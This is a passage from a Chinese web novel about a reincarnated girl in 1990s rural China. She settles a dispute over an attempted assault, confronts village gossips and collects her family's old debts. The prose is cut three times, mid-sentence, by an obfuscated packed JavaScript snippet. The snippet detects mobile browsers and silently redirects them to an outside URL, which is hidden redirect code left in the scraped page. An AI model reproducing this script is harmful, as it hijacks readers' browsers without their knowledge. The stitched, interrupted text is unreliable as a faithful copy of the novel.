九十年代,法律法条对王仁芳这种造谣生事的人也没什么威慑力。秀水能做的,无非是把人狠揍一顿,再索性把事闹大,好争取谈判赔偿的筹码。 “让他给我道歉,再赔偿五千块钱,否则免谈!”秀水按照印象中的物价,随口说了个数目。 刘瑞英听得心惊肉跳,刘文强也怔住了,“好大的口气!你这不是明摆着讹人吗?” 秀水懒得跟他多费口舌,伸手捂住了胸口,“哎哟我胸口疼!一想到他们家那么冤枉我,我就胸口闷。已经落下后遗症了,我后半辈子都毁了……” 刘瑞英慌了,忙上来帮她揉胸口,“要不要紧?我去叫医生过来看看!” 刘文强站在旁边有些尴尬。就见秀水又捂额头,“他们把我害成这样,五千块钱算什么?哎哟我头也疼……” 见此情形,刘文强勉强道:“那我去那边说说看。” 他又朝刘瑞英使眼色,让她跟自己出去。两人在走廊站着,刘文强小声道:“姐,孩子不懂事,你们大人也该拿个主意,别什么都依着她……” 刘瑞英也觉得五千块钱是个天文数字,按她先前的想法,对方能赔礼道歉,再赔个医药费就算不错了。但秀水既然开了口,当妈的总不能拖后腿,想到这儿,她心一横,也坚定起来,“我孩子不能白受这个苦。他们家里到现在都没人来看看我们呢,王仁芳还把我们骂得狗血淋头。怎么的?我们就活该被欺负?” 刘文强觉得姐姐也变得胡搅蛮缠了,“姐,要这样想的话,你们就自己去跟李局长那边说去。我不管了,这总行吧?” 要照以前,刘瑞英听了这话肯定会服软。但今天她被短暂的胜利冲昏了头脑,竟然格外硬气,脱口道:“那也行,我占着理儿,我怕什么?就让李家人来找咱们好了。” 刘文强跟他姐也说不通道理,只得悻悻而去。刘瑞英却又越想越心虚,回病房劝秀水:“就依了他们,给你在城里安排个工作不好么?” “他说一年以后包转正,你就信啊?”秀水冷笑一声,“咱们家没人,进了城还不是随便他拿捏!到时我转不了正,找谁去?再说还得转商品粮,家里哪儿来那么多钱?” 刘瑞英转而自怨自艾,叹气道:“这都是我们当父母的没本事,有进城的机会却抓不住……” “您就别惦记进城了,我不想进城,”秀水提醒她,“等舅舅回完话,王仁芳不定怎么过来闹呢。” 刘瑞英忙打起了精神,嘴硬道:“我不怕她闹。咱们占着理,怕什么……” 晚上等秀水睡了,刘瑞英也躺在旁边硬床板上,想到刘文强说的工作,不免有些不舍;又想起王仁芳的难缠和刻薄,心里又实在烦闷,翻来覆去睡不着。到了后半夜,忽听秀水断断续续说起梦话来。 “妈,他们冤枉我。” “我不想当保姆了。” “我要回家。” …… 声音小小的,刘瑞英却是听清楚了,顿时又痛又悔。她削尖了脑袋想让女儿进城,没想到反而害了她! 第二天是星期天,早上医生来查房,认为秀水恢复得很好,过两天就可以出院了。刘瑞英这才有些高兴。等医生们出去了,病房外又进来一个十四五岁的女孩,正是秀水的妹妹喻秀竹。 “妈,姐!”秀竹骑车来的,一头的汗。她把手里的竹篮递给母亲,便去床前看她姐,“好些了吗?能吃饭了吗?我早上熬了粥的。” 刘瑞英揭开竹篮上盖的毛巾,下头的饭盒还是温的。她忙把粥端出来,给秀水喝上头的米汤,“还是只能吃点稀的,你姐都饿瘦了。” 秀竹忧心道:“不吃点好的怎么行?身体怎么能恢复啊?” “等出了院再说,”刘瑞英道:“回家了杀只母鸡给你姐补补。” 秀水想到鸡汤,口舌生津,笑道:“你舍得?” 家里的鸡和鸡蛋都是要卖钱的,好攒着等以后盖砖瓦房。刘瑞英听女儿奚落她,忍不住翻个白眼,“回家就杀,总行了吧?让你们两姐妹过过馋瘾!” 她边吃早饭,边问起家里的情况。正是农忙时节,家家都在砍油菜、割小麦、整田插秧。家里只剩喻庆山一个劳动力,半夜都在地里忙。秀竹见她妈惦记着家里,便主动请缨:“今天我陪姐姐,妈你回去一趟吧。” “那可不成!”刘瑞英又担心王仁芳上来欺负秀水,“姓李的还住楼下呢。” “你回去吧。”秀水也说:“他们又吵不赢我!难道还敢打我不成?医生护士都在这儿,我量她没这个胆儿。” “还有我呢!”秀竹忙保证道:“我好好守着姐,不准他们进来!” 刘瑞英也着实惦记着家里的农活,想了想便交代秀竹:“你一步也别离开。等我回去一趟,马上就来。” 三人商量好了,刘瑞英便急急忙忙地骑车回家了。护士给秀水打了针,病房安静下来。秀竹坐在床边,看了会儿输液管的滴壶,忽然轻声道:“姐,你吓死我了。” “我做了好多恶梦,”她说着眼圈红了,“很吓人的恶梦……,姐,你别再做那种傻事了……” 她姐住院这几天,家里离不开人,喻秀竹白天去上学,回家要喂猪喂鸡、烧火做饭。晚上惦记着她姐,心里七上八下的。可能是日有所思夜有所梦,一连好几夜,她都做了些恐怖的梦,跟电视连续剧似的。 梦里她姐没抢救过来,死在了医院。她爸妈去李家讨说法,被骂了回来。她妈总是说自己不该送女儿去城里,在家哭了两场,趁人不备上了吊。她爸那么温和的人,跟疯了似的拿着刀,跑去把李小勇砍死了,自己也一身是血,被抓起来判了重刑…… 秀竹每次醒来都一身冷汗,闭上眼就仿佛看到了她姐青黑的脸、母亲晃荡的身体、父亲脸上的血……直到来医院,看到姐姐还活着,看到她和她妈有说有笑,她才真正松了口气。 但她还是非常害怕。眼泪不知何时从她的眼睛里漫出来,她抽着鼻子,哽咽着说:“姐,你可不能死。你要是死了,我们这个家就散了……” 秀水在心里叹了口气,略显笨拙地安慰她,“放心,我不会再做傻事。我会好好活着。” 有了她的保证,秀竹的眼泪总算止住了。她有点不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722566|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好意思,看了秀水一会儿,说:“姐, 你喝水吗?我去打开水。” “还有衣服没洗。”秀水指使她。 “好!我马上来洗!” 笼罩在秀竹身上的阴霾消失了,她迈着轻快的脚步,里里外外忙碌起来。等把洗好的衣服晾完,她刚回病房,就见门外冲进一个四五十岁的凶女人。 “喻秀水,你要不要脸?你还准备狮子大开口是吧?” 秀竹赶紧拦着她,鼓起勇气嚷嚷:“你谁啊,快出去!” 王仁芳把她朝旁边扒拉,指着秀水喊:“张口就敢三千五千地要,你照照镜子,你有那么值钱?外面被人睡的,也就几十块钱的价!” 秀竹气红了脸,正要开口,就听她姐在后面阴阳怪气,“哟,这么清楚价钱?你出去卖过?” 秀竹惊诧地瞪大了眼睛,心里却一阵快意。王仁芳气得发疯,“你别指望拿到钱!你去打听打听,我是那种好欺负的人?明告诉你,我一分钱不给,你又能拿我怎么样?” “那你认识县城的王大刀疤吗?”秀水冷冷道:“你去打听打听,问问他答不答应!” 王仁芳怔了一下,“王大刀疤”这个绰号明显带有混社会的性质。想到儿子受的伤,她顿时不确定了,难道这家人还真认识什么狠人? 毕竟就连警察都说了,打小勇那人的手法太专业了,就是奔着把人打残的目的去的。 “你少吓唬人!老娘也不是吓大的,”王仁芳佯装镇定,“现在是新社会了,我怕你那套?” “那你还是被打少了。”秀水冷笑:“下次就不是断胳膊断腿了,下次打掉你一嘴牙,让你嚼舌头!” “你让他来打我试试!”王仁芳跳着脚骂:“你来试试!” 要不是在医院,秀水现在就想试试。正按捺不住脾气,秀竹高喊:“医生,这里有个疯子!快来人哪!” 闻声而来的护士也很生气,“怎么又是你?回你病房去!” 等王仁芳走远了,秀竹才回来,在床前坐下,沉默片刻问:“姐,王大刀疤是谁?” “随便编个名字骗她的。”秀水说。 秀竹震惊地看着她,秀水狡黠一笑,“没想到吧?” 其实是有“王大刀疤”这个人的,不过那是秀水上一世的师父。老王同志开着一家武校,因为脸上有道长长的疤痕,才得了这么个浑号。这道疤让他显得很凶狠,只有秀水这些资深学员才知道,老王是个多么心软的男人。 按照上一世的时间线,老王和师娘现在还不知道在哪个厂里打工。要等两三年,两口子才会回到家乡筹办武校,那时她才能跑去找他们,——但她现在可真想他们啊。 等到一九九五年,秀水才会迎来自己的出生。上辈子她在养父母和亲生父母之间辗转流落,遭到了双重的遗弃。如果没有师父和师娘,能不能活下来都是个问题。那时秀水经常想,要是有机会穿越了,她要自己把自己养一遍。 没想到,这个愿望竟然有可能变成现实。 不过在那之前,她要挣很多钱才行。毕竟这个叫秀水的小姑娘真的太穷了。就算是九十年代,要想好好养大一个孩子,也要花钱啊。 5. 第 5 章 有了“王大刀疤”这个神秘嘉宾的助力,谈判终于有了结果。王仁芳没再来闹事,转而把线索提供给张警官。老张多方了解后,发现县城并没有“王大刀疤”这号人物。现场找不到目击者,又不是命案,派出所哪有那么多时间精力去调查?最后只能不了了之。 对于喻秀水报警一事,老张也劝当事人双方相互调解。虽说女方拿不出什么有力证据,但李小勇在逼问之下也承认,他深更半夜对人家女孩动手动脚了。哪怕王仁芳反复强调,那是对方勾引她儿子,真闹起来也是李家理亏。所以老张建议李家这边退一步,该赔的赔,该道歉道歉。 刘文强两边递话,经过几轮争吵,李副局长最终答应赔偿秀水的医药费和三千块钱。这年头三千块钱是一个城里人全年的工资,所以刘瑞英也就没再说什么了。 到秀水出院的前一天,刘文强陪着李局长,提了两盒麦乳精到医院来了。这几天李局长也憔悴了许多。想想从前,秀水还在李家当保姆的时候,孙子有人看,家务有人做,处处打理得井井有条,哪像现在家里乱成一团?想起这事的起因,他就对小儿子生出愤恨来,道歉的时候也带了两分真情实意。 “我们做家长的没有管好自己的子女,才给你们家惹了这些麻烦。”他对喻庆山说:“这回的事,对小勇也是个深刻的教训。看在他年少无知的份上,希望你们能原谅他。。” 刘瑞英却是看到王仁芳没来,有几分愤愤不平,“你家孩子欺负我姑娘,这是一桩事;你爱人冤枉我孩子,又是另一桩事。这又怎么说?” 刘文强忙朝他姐使眼色,“姐,王嫂子就是那样的脾气。平时她对秀水还是挺不错的……” 秀水在旁边却嗤笑一声:“别朝她脸上贴金,她就是个泼妇!烂人!谁家好人会这么朝别人身上泼脏水?” 李副局平时总觉得秀水是个只知道干活的闷嘴葫芦,如今闹翻了,才晓得竟也口齿伶俐。想了想,他索性展现了一番自己的大度,“王仁芳同志就是特别护犊子,只能说可怜天下父母心。但她的行为也确实伤害了你们。今天我也代她向你们说一声对不起。” 话说到这份上,刘瑞英也不好说什么了。秀水却憋着一腔坏主意,想给王仁芳埋雷。她一脸真诚地说:“李局长,你是个好人,又有学识,又有教养。怎么会娶了王仁芳那个搅家精的?” 李局长有苦难言,当年要不是看王家成份好,他又怎么会结这门亲?就听秀水又说:“我劝你早点跟她离婚,别被这种人把家给整垮了!” “你一个姑娘家,怎么动不动劝人离婚?不过今天我也要说句不好听的话,”刘瑞英无意中和秀水打了个配合,“你一个当官的,怎么爱人连挑大粪的都不如。走出去人家不笑话么?” 刘文强忙杀鸡抹脖给他姐使眼色,李局长却只叹了口气,扯两句闲话,便把东西和钱放下,到楼下结算医药费去了。刘文强忙也小碎步跟着去了。等人走后,秀水拿起桌上的钱点了点,从里面拿出一千元,剩下的给了刘瑞英,说:“这钱我留着,以后做点小本生意。” “你就留着,”这钱本来就是女儿的营养费和工资,刘瑞英也就没说什么,只是问:“你想做啥生意?” 秀水还没想好,便道:“啥生意能挣钱?” 这个问题把刘瑞英难到了,她叹了口气,说:“做啥生意都难。你忘了?你爸早先贩桔子卖,连车带筐都被城管收走了。后来想着城里有人管,那就到乡下卖冰棍去。本来就利润薄,他还不好意思收熟人钱,最后算帐还亏了。倒是我喂两只鸡,攒几个蛋还能挣点油盐钱。” 秀水听了也叹气,这是什么倒霉生意经?忽然想到以前看的穿越小说里有捉鱼摸虾的情节,忙问:“那龙虾呢?捉龙虾卖行不行?” “现在都分田到户了,谁家肯让你去地里捉龙虾?”刘瑞英道:“你还是先养好身体吧,别整天东想西想的。” 第二天就是出院的日子,喻庆山大清早骑着车赶过来,后座上还用绳子绑了一辆自行车。刘瑞英忙把李家来赔礼道歉的事情添油加醋地告诉了他。喻庆山没想到事情解决得这么顺利,连日来的烦闷和疲惫一扫而空。两个人在病房里里外外地收拾行李,把新买的毛巾、塑料盆等都装在网兜里。趁早上天气凉快,喻庆山骑车载着秀水,刘瑞英拉着行李,两辆车朝家驶去。 红英村在怀安县城西,穿过县城那条主街道,出了城门就是丘陵地带。一条沥青石子路弯弯曲曲,路边栽着高大的白杨树。旁边便是连片的农田和小块池塘,以及散落在缓坡上的村庄。 正是农忙时节,处处农田都有人,有的忙着割油菜,有的忙着整田耙地。连路边的狗都走得行色匆匆。 顺着沥青路骑了快两个小时,喻庆山和刘瑞英才拐进一条崎岖不平的泥巴路,爬了道坡又拐了道弯,十几分钟后才终于抵达红英村。 村庄有三四十户人家,房屋大多顺着路修建。喻家就住在村子的最南边。路是泥巴路,房是土砖房,看起来有些年头了。窄窄的三间正房,中间是堂屋,旁边两间卧室,一间夫妻俩住,一间姐妹俩住。正房前有一间小小的厨房。 房前有晒谷场,屋后是竹林。旁边就是菜地。处处都收拾得很整齐。 这栋房屋还是喻庆山结婚时,家里人给他盖的。就算在红英村,也算条件简陋的了。因为既没有砌厢房,也没有盖院墙。更何况红英村现在很多人家都盖了新房,用窑场烧制的红砖砌墙,屋顶是崭新的机瓦,墙面刷上石灰后,走进去亮堂堂的。有一户甚至盖了幢两层楼的楼房,新居落成那天,全村人都去参观了的。 刘瑞英现在最大的梦想,就是在秀水结婚前,把自家房子也翻新一下。她倒是没想过盖楼房,没有那个实力,但盖三间宽敞的砖瓦房还是可以的。到时候再修两间厢房,让两个女儿一人一间卧室。给孩子说亲事的时候,客人来了看着也体面。 回到家里,秀竹已经上学去了,厨房的锅里却温着做好的饭菜。秀水照例喝稀饭,喻庆山和刘瑞英却是狼吞虎咽干了两大碗饭,便急匆匆下地去了。家里还有好几亩地的油菜没割完,两口子必须要抓紧时间,才能追上农忙的进度。 秀水慢条斯理吃完了饭,把碗洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722567|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,就在房前屋后转悠起来,一边走,一边拉伸着筋骨。她肠胃没恢复,吃得清汤寡水,稍微动一动就出了一身虚汗。 门前路上,不时有村民经过,见到她站在屋外,都会停下脚招呼一声:“秀水,今天出院了?” 秀水也大方回应:“是啊,刚回来。” 于是到了晚上,村里人就都知道喻家喝农药自杀的大女儿从医院回来了。过了两天,又有小道消息传开了,说城里人赔了喻家好几千块钱。有些眼窝子浅的村民便又是羡慕,又是嫉妒地说起了风凉话。 喻庆山和刘瑞英还不知道。一连好几天,他们都是清早下地、半夜才回。秀竹每天上学前,要把全家人的饭做好,还要喂猪。秀水虽然还是个病号,却也要承担些轻省的活计了。 在电饭煲、洗衣机这些家用电器还没普及的九十年代,人们光是维持日常生活就需要付出很多劳力,更别说现在是农忙了。每天刘瑞英赶早把全家人的衣服洗出来,等秀水吃完早饭,便提着竹篮,到河边去清洗衣服。 红英村旁边有条小河,河边某处修了一排石阶,供村里人在这里洗菜洗衣服。这里也是村里的情报交流中心,无论什么小道消息都可以打听到。 秀水还没走到地方,远远就听到噼噼拍拍的捶打声,夹杂着女人们的说笑。隔着一棵老柳树,就听一个女人大声说:“听说赔了五六千!啧啧!两个人只怕都睡在一起了吧?怪不得一回来就闹着要喝药呢!” 秀水听出这是杨定桂的声音,那是村里有名的泼辣货。另一个女人也感慨:“作孽哦!我就说进城哪有那么简单!说是去当保姆,指不定要怎么低声下气伺候人呢。” “要你操心!反正人家是挣到钱了。” “那种钱送给我我都不要!真不怕丑!那跟卖女儿有什么区别!” 秀水在柳树后停下脚,忽然就明白那个十七岁的女孩为什么那么害怕、那么绝望了。 她那么老实、那么单纯,总以为只要自己听话、懂事、勤快,就能博得父母的欢心、他人的尊重。但她不知道,有些人就是不惮以最大的恶意去揣测和中伤别人,仿佛别人陷在了污泥里,他们就站上了道德制高点。 幸亏,她也不是什么容易被人拿捏的好人。 她提着竹篮,转过那棵老柳树,来到了河边。石阶上蹲着五六个妇女,正一边用棒槌捶打衣物,一边大声交谈。在看到秀水后,喧闹声立刻静了下来。片刻后才有人朝她打招呼:“哟,秀水,过来洗衣服啊?” 秀水似笑非笑看着她们,说:“是啊,刚才好热闹。你们都在说什么啊?” 女人们各自交换着心照不宣的眼神,都沉默下来。又有人说:“没说啥,就瞎聊天呗。” 秀水放下手中竹篮,径直朝杨定桂走过去,“你刚说什么?挺有意思的,说给我听听。” 杨定桂笑了一声,扭头去捶衣服,轻描淡写地说:“我敢说,就怕你不敢听……” 话音未落,秀水已经抬脚朝她后背踹去。“扑通”一声巨响,溅起老大水花。岸边的女人们也纷纷惊叫了起来。 6. 第 6 章 趁着河边一片混乱,秀水把台阶上的竹篮和衣服都往河里扔。岸上的女人们一边惊叫,一边手忙脚乱地抢救河里的衣服。 “我的衣服!哎呀衣服都漂走了!” “疯了疯了,这丫头硬是疯了……” 靠河岸的水不深,杨定桂挣扎着从水里站起来,衣服透湿,紧贴在身上。她抹抹脸上的水,一边破口大骂,一边往岸上爬。秀水却又随手操起一根棒槌,把她朝河里驱赶。 “你还想上来?快洗洗你那脏嘴吧,比大粪都臭!”她挥着棒槌冷笑,又看着想来劝架的两个女人,“都给我把嘴闭上!谁敢过来,我让她一起下河!” 女人们简直惊呆了。反了反了!一个姑娘家,竟然比老婶子们还泼辣,以后还打算出嫁吗? “你这个死丫头,疯婆娘,没人要的野种,你到底要干啥?”杨定桂在河水里泡着,气得发疯,骂出来的话也污浊不堪。秀水听了,一点也不急,气定神闲地守在岸边。她往左走,秀水就往左;她往右走,秀水也往右。反正是拦着不让她上岸。 僵持了十来分钟,终于有人过来劝架了,“算了算了,小心冷出病来!快让人家上来!” “冷死她活该!”秀水终于开骂了,“一个个舌头怎么那么长呢?你们也是女人,也有女儿,别人这么背后议论你,议论你女儿,你们也算了?” 她泄愤般把杨定桂的篮子和衣服全部扔进河里。杨定桂大急,忙着在河里捞衣服捞篮子,后来到底是走到旁边,抓着河岸上的野草爬上来了。 “老娘今天跟你拼了!”她气势汹汹跑过来,一副要跟秀水搏命的架式。 “你来啊,你来!”秀水指着她目露凶光,“来一次我踹你一次!以后只要我看你在河边,我就踹死你!你们不是觉得我疯了吗?对,我就是疯子!疯子打人不犯法!砍死你都不用坐牢!” 众人从来没见过秀水这副表情,跟要吃人似的,都生了点惧意。几个女人见势不对,怕真打起架来,连忙死活拉着杨定桂,“算了别跟她一般见识,快先回家换衣服去!小心着凉!” “有人生没人养的东西,我不跟你说,我只找你父母算账!”杨定桂跳着脚痛骂,但因为衣衫狼狈,到底失了气势,最终还是被人劝着,提了篮子回家去了。 岸边安静下来。秀水这才蹲在石阶上,把竹篮里的衣服拿出来清洗。 等到中午时分,刘瑞英和喻庆山从田里回来时,秀水已经在灶上炒了两个菜,端到桌上大家一起吃。还没来得及把上午的事告诉刘瑞英,远远的就见杨定桂从路上过来了。 杨定桂虎着脸,在喻家晒谷坪边站定,开始声如洪钟地叫骂:“没人管的野杂种!不要脸的贱货!撒泼撒到老娘身上来了,我咒你一辈子嫁不出去……” 刘瑞英既惊且怒,忙回头看秀水。秀水告状:“她早上在河边骂我!” 刘瑞英来不及了解情况,便出门应战,“这是你当长辈该说的话?我孩子有错,你只该教导她,你怎么骂这么难听?你没有儿女吗?” 杨定桂叉着腰骂:“我可没有这样的儿女!被人破了身子,还有脸在村里晃!我要是她,早就找根绳子上吊了!” 刘瑞英一下子红了眼,对骂道:“放你妈的屁!我姑娘好着呢!老泼皮,狗都嫌!你死了都没人埋!” 在后面跟出来的喻庆山也气得说:“咋能这样说话!你这叫人话吗!” 杨定桂丝毫没把两人放在眼里,“我死了没人埋?我生了两个儿子,不像你,儿子都生不出来一个!死了只能丢野地里喂狗!” 刘瑞英被戳中痛处,顿时眼泪都下来了,勉强道:“你有儿子又怎样?你儿子又笨又丑,没一个姑娘愿意嫁……” 两边正吵着,秀水忽然提着一个桶过来了。她径直走到两人中间,从桶里拿出个大勺,扬手就朝杨定桂泼去。顿时恶臭袭来,原来那是一桶大粪。 “哎呀我的衣裳!”杨定桂惊叫,朝秀水扑过来,“老娘今天非捶死你不可!” 秀水扬手又是一勺大粪,精准地泼向她的头。杨定桂闭眼挨了这一下子,满头满脸的粪水,顿时疯了,哭着喊着说:“老娘跟你拼了!野杂种,狗日的!你等着……” 可惜她手上没有兵器,不但没扑上来,反被粪勺敲打了好几下。那粪勺打的地方也巧,不是在关节,就是在头上脸上。杨定桂糊着一身粪,半点便宜没占到,于是号啕起来:“看哪!看哪!喻家打人啦!欺负人呀……” 周围乡邻们开始忍着恶臭前来劝架,“好了好了不要吵了!”“杨婶子你先回去换衣服,庆山把女儿拉开!”还有些跟杨定桂结过仇的,这时都在心里默默叫好,嘴上却假装劝解:“你不骂她,她也不得泼你!好了乡里乡亲的都退一步!”“哎呀老喻一家子多老实啊,这是把人家逼急了!” …… 秀水手持粪勺,威风凛凛地道:“各位乡亲邻居,大家评评理!杨定桂今天在河边骂了我,我没跟她计较;现在又欺到我家门口。这个搬弄是非的长舌妇、搅屎棍!天天在人背后搅弄是非!谁的坏话她没说过?我今天非为民除害不可!以后再看你嚼是非,我见一次打一次!打到你服气为止!” 杨定桂从没在村里吃过这种亏,气急了只管满嘴胡骂。大家满脸嫌恶地看她顶着一头一身的脏污,劝架的时候还有人干呕了两声。最后杨定桂自己也觉得没脸,到底还是边哭边骂,回去洗头洗澡换衣服了。 等人散了,喻庆山拿出扫帚,清扫起泼洒在地上的粪便来。刘瑞英则帮着秀水把粪桶提到屋后,感觉自己又学到了一招。 一家人收拾干净了,重新洗手坐到桌前吃午饭。 刘瑞英想想还有些气,转头问秀水:“这个泼货,她早上又骂你什么了?只该把她那嘴塞粪坑里!” “好了,吃饭不要说这些。”秀水忙打断她。 刘瑞英又道:“她还嫌弃我生不出儿子!她不看看她生出来的是啥!儿子又丑又蠢,跟她一样!” 喻庆山给老婆夹了一筷子菜,赞同道:“她儿子给我姑娘提鞋都不配!” 刘瑞英立刻道:“就是!她再说什么,你别理她!下回我拿粪勺浇她一头!” 几天后,家里的油菜和小麦终于收完了,卖了一部分,留了一部分自家吃。刘瑞英得了空,让喻庆山换了几壶新榨的菜籽油,用新鲜小麦面挂糊,炸了一大锅南瓜叶。又终于兑现承诺,杀了一只老母鸡,炖了喷香的鸡汤。 晚饭时分,一家四口围坐在饭桌前,吃着香酥的炸南瓜叶,喝着鸡汤,听刘瑞英谈论起盖新房的事情来,这也是她最喜欢的话题。家里攒的钱,再加上次赔偿的钱,盖房工程基本可以启动了。钱肯定还不够,但农村建房谁不是靠借啊?亲戚支援一点,乡邻凑一点,七挪八拼的,房子总能盖起来的。 说到这个,刘瑞英倒是又想起自家借出去的钱,便对喻庆山说:“七队那个老张,儿子结婚时借了咱们五百块,四五年了也没提还钱的话。” 喻庆山叹气,“估计别人也有困难吧。” “他有困难,咱家就不困难了?”刘瑞英一提起来就生气,“当初就不该借他!也该上门催催了!” 喻庆山缓慢沉重地答:“好的。我过两天去。” 秀竹看她爸表情沉痛,又有点好笑,说:“爸,那是我们借出去的钱!又不是我们找别人借钱!” “你爸就是脸皮薄!”刘瑞英抱怨,“别人跟他诉个苦,他就不好意思提还钱的事了。照你这样,一百年也收不回来!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722568|189438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 喻庆山沉默吃饭,鸡胗在嘴里都不香了。 秀水看看他,又看刘瑞英,说:“咱家还有多少借出去的钱?都记下来,到时我跟爸一家家去要。” “不要你操心,你小孩子知道什么!”刘瑞英习惯性地反对,忽然想到秀水的战斗力今非昔比,忙又说:“你跟着去也行,给你爸壮个胆儿。” 吃完饭秀竹就拿出纸和笔,刘瑞英和喻庆山念名字,秀竹写在作业本上。加起来竟然有七八家,有借五百的,也有借三百两百的,都快有两千块钱了。秀水指了指第一个名字,说:“明天咱们就去要这五百块钱。” 喻庆山沉默无言,表情纠结。 秀水便笑,说:“一切有我。到了那里,你只管跟着我就行。” 第二天上午,喻庆山去地里忙了一圈回来,秀水才让他骑车载着,到老张家去。等到了地方,已经快到午饭时分了。老张刚从地里回来,张家婆子在厨房炒菜。看到喻庆山过来,两人亲亲热热把人请进来,又是递烟,又是端水,就是不提还钱的话。 喻庆山端着茶坐了好一会儿,正鼓足勇气准备开口,就听秀水说:“大爷,今天过来呢,为的是您五年前借的那五百块钱。咱家下半年准备盖房子,您看方便的话,就把钱还咱们家呗。” 老张一拍脑门,呵呵地笑道:“哎呀,我差点忘了!怪我怪我!兄弟,回头我就去镇上取了钱给你送过去!” 按照喻庆山平时的讨债流程,此时就可以告辞出门了。谁知秀水稳坐着不动,说:“大爷,哪能让您跑路呢?反正我们也没什么事,就在您家坐会儿,您吃了饭就去取钱呗。” 喻庆山震惊了。老张脸上的笑容有点僵,嗯嗯啊啊地没个准话。偏偏这时张婆子做好了午饭,在堂屋门口张望。秀水便道:“好香啊!正好饿了,大爷,要不中午我们就在您家吃一口?” 老张没见过这么厚脸皮的人,只好虚虚应下:“就在家吃!只是饭菜不成样子,怠慢了你们。” 秀水跑前跑后地帮着端菜盛饭,给她爸那碗饭盛得结结实实的。饭桌上,其余三人都有些沉默,喻庆山硬着头皮扒饭,只有秀水一边吃,一边跟老张两口子聊天。 “大妈,你这豆瓣酱自家酿的?好吃!送我一罐!” “大爷,这辣椒您家种的?长得真好!送我一点!” “大妈,今年您家菜籽打了多少斤?这是新榨的油吧?炒菜真香……” 喻庆山尴尬得脚趾头都快抠到土里去了,感觉女儿下一句可能就是“送我一壶”。幸好秀水停住了,把菜里仅有的几块腊肉都挑到他碗里,才又说:“爸,你吃饱点。要是钱没收回来,晚上我妈可不准你吃饭了。” 喻庆山艰难地朝老张夫妇笑笑,食不甘味地干了一大碗饭,吃完出了一身汗。 饭后老张和张婆子就把客人丢在堂屋里,两人去房里嘀咕。喻庆山独自坐着,呼吸都很艰难,就见他女儿在堂屋和院子里走来走去,自在地招猫逗鸡,一副不给钱就不走的架式。 最后老张终于从里屋出来了,跟喻庆山打了声招呼,就骑着车去镇上取钱了。傍晚回来后,他从包里取出一叠钱,鼻子不是鼻子脸不是脸地递了过来,“兄弟,这是五百块钱,你点点。” 喻庆山讪讪笑着,接过钱准备往口袋里装,秀水却道:“爸,钱过手,米过斗!关系再亲,也要当面点点嘛!” 她硬是从她爸手里把钱抠过来,一十二十地数了一遍,然后露出笑容:“大爷,没错,正好五百块,哎呀不好意思,真是麻烦您啦。” 然后她带着五百块钱,蝗虫过境似的卷了一大罐豆瓣酱、一兜子辣椒,坐上她爸的车往家走。路上喻庆山一直没怎么说话,今天这一天过得太刺激了,他必须得缓缓! 7. 第 7 章 当喻庆山把五百块钱交给老婆时,刘瑞英喜出望外,连忙给父女俩下了面,还一人煎了一个荷包蛋。 晚上停了电,饭桌上的煤油灯照着一家四口。就着灯光,刘瑞英把钱数了又数,说:“你去了两趟都没收回来,怎么秀水一去,他就给了?” 喻庆山便把秀水怎么要钱、怎么在老张家蹭吃蹭喝的经过粗略讲了一遍,刘瑞英和秀竹听得又好笑,又瞠目结舌。 “……还能这样要账吗?”秀竹崇拜地看着姐姐。 秀水从饭碗里抬头,略有遗憾地咂嘴:“本来还想留下来吃晚饭的,他家腊肉不错,鸡窝里还有鸡蛋。没想到老张那么快就还钱了。” 喻庆山听了也笑,“你都挖了他家的豆瓣酱,还想吃腊肉?” 秀水理直气壮道:“借咱家钱五年了,连句感谢的话都不说,吃他点腊肉怎么了?” “咱家也有腊肉!”刘瑞英忙说:“明天我给你们煎腊肉吃!” “你们是没看到,”秀水喝着汤说:“我去挖酱的时候,张婆子心疼得脸都抖起来了!” 喻庆山和刘瑞英都笑起来。秀竹看看姐姐,又看父母,昏黄的灯光里,他们笑得那么满足,让她也觉得非常开心和满足。 她已经很久没在父母脸上看到这样的笑容了。他们总是疲惫又无奈,尤其是父亲收账回来的时候。他的懊恼和自责、母亲的抱怨和伤心,一度成了这个家必不可少的组成部分。现在,这些都烟消云散了。 要是这一刻能永远留下来,该多好啊。 第二天他们真的吃到了煎腊肉。刘瑞英从吊在房梁的腊肉上切下一块,平时只有家里来了客人,她才会这么奢侈。她把腊肉切成薄片,挂上面糊,在锅里煎得两面金黄。咬开焦酥的外壳,里面是琥珀色的腊肉。又香又有油,全家人都吃得很满足。等吃完饭,喻庆山一鼓作气,带着秀水继续去讨债。 一路上,秀水对喻庆山进行了洗脑式教育,希望在短时间里增强他脸皮的厚度。 “他都好意思找咱们借钱,你有啥不好意思拒绝的…” 